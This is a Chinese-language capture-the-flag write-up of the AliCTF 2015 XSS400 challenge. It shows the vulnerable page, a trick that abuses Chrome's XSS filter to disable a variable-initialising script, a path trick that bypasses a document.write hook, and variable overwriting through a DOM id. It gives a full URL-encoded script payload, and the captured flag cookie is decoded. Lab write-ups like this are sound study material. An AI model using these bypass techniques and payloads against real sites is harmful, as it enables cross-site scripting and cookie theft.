周末两天都在疗养睡眠,恰逢 AliCTF 与 0ctf 的夺旗赛,其实我都快睡到周一了,可惜下午被 R29 叫起来说阿里出了道 XSS400 分的题还没有队伍做出,另外说明一下经过朋友得知,如果此题只有一队做出来的话,才可以直接发表 WriteUP ,不然会导致其他作弊队伍抄袭 WriteUP ,所以在几小时搞定此题后,我简单记录下这道题,比较有趣:
<script> if(!window.chrome){ alert('\u8bf7\u4f7f\u7528\u0043\u0068\u0072\u006f\u006d\u0065\u6d4f\u89c8\u5668\u6d4f\u89c8\u672c\u9875'); location.href = 'https://www.google.com/chrome/'; } </script> <script src="secWrite.js"></script> <script>var imageData = {name: "Oreo"}</script> </head> <body> <div id="console"></div> <img id="test" src="cat.jpg" name="cat" onload="loadSucc()" onerror="loadErr()"> <script> function loadSucc(){ document.write('This is '+imageData.name) } function loadErr(){ document.write('Load '+imageData.name+' Fail!') } </script> </body> </html>
直接忽视 if(!window.chrome) 判断浏览器,看下 secWrite.js 文件:
document.write = function(str){ document.getElementById('console').innerText = str; }
id为imgID,type为imgName,这里对两个参数进行多种测试后发现无法逃逸出去,因为当 type 值不为 cat 后 imageData.name 值就被设为空值:
<script>var imageData = {name: ""}</script>
所以考虑是否能够进行 js 的变量覆盖来对 imageData 进行 name 值的修改,这里提一个小插曲,在 IE 下是可以通过类似方法进行 js 变量覆盖的:
<html> <body> <form id="location" href="bar"> <script>alert(location.href)</script> </body> </html>
但是题目要求是在最新版的 Chrome 下执行 XSS 恶意代码,所以我想消灭开头的这段初始变量代码:
<script>var imageData = {name: "Oreo"}</script>
因为如果我们能够通过一些技巧将开始的 imageData 消灭的话就可以通过将 URL 中的 ID 设置为 imageData ,随后修改 URL 中的 type 参数,达到控制 imageData.name 的目的。
这里利用 Chrome filter 的特性,之前 Sogili 在 Twitter 发表过的一个 Tip:使用 Chrome Filter 干掉对应的 js 代码,例如:&a=<script>var imageData = {name: "Oreo"}</script>
会触发 Chrome 过滤器另源码中的对应代码段失效,所以我们利用这个特性就能够消灭掉初始化变量代码,从而覆盖 imageData.name,但浏览器不会重新渲染页面 DOM ,我们这里使用 /? 绕过 secWrite.js 的 hook ,从而使 d.w 重现 DOM:
http://1de28830f09a4b1b.alictf.com/pet.php/?id=imageData&type=
这时会因为请求不到/pet.php/secWrite.js
而绕过 hook,绕过 d.w 的钩子后我们继续。
F12 输入 imageData.name , document.body.outerHTML 可以看调试结果
这个时候经过 dom 解析后源码变成了:
<html><head></head><body data-feedly-mini="yes">Load evi1m0 Fail!</body></html>
我们可控的 imageData.name 也就是上面输出到页面中的 evi1m0,这时通过测试使用 HTML hex 16 将 <script>alert(1)</script>
编码,然后再进行 URL 编码即可:
%26%23x3c%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3e%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x3c%3B%26%23x2f%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26%23x74%3B%26%23x3e%3B
所以构造拼接起来的 alert URL:
修改最终版本的 Payload 并提交给 Alibaba CTF ,于是收到的 Cookie 字段:
cookie : flag=aHR0cDovLzFkZTI4ODMwZjA5YTRiMWIuYWxpY3RmLmNvbS95aW5xdWJhaWZ1bWVpX2NodXJlbmNlb19yZW5zaGVuZ2RpYW5mZW5nLnBocD90b2tlbj03N2E2ZTNhMzJhNzUwOGY0OTg1N2IyZDA0ZTg2MjUwNA
BASE64 Decode:
echo -n "aHR0cDovLzFkZTI4ODMwZjA5YTRiMWIuYWxpY3RmLmNvbS95aW5xdWJhaWZ1bWVpX2NodXJlbmNlb19yZW5zaGVuZ2RpYW5mZW5nLnBocD90b2tlbj03N2E2ZTNhMzJhNzUwOGY0OTg1N2IyZDA0ZTg2MjUwNA" | base64 -D http://1de28830f09a4b1b.alictf.com/yinqubaifumei_churenceo_renshengdianfeng.php?token=77a6e3a32a7508f49857b2d04e86250
【原文:Alibaba CTF 2015 - XSS400 WriteUP 作者:evi1m0】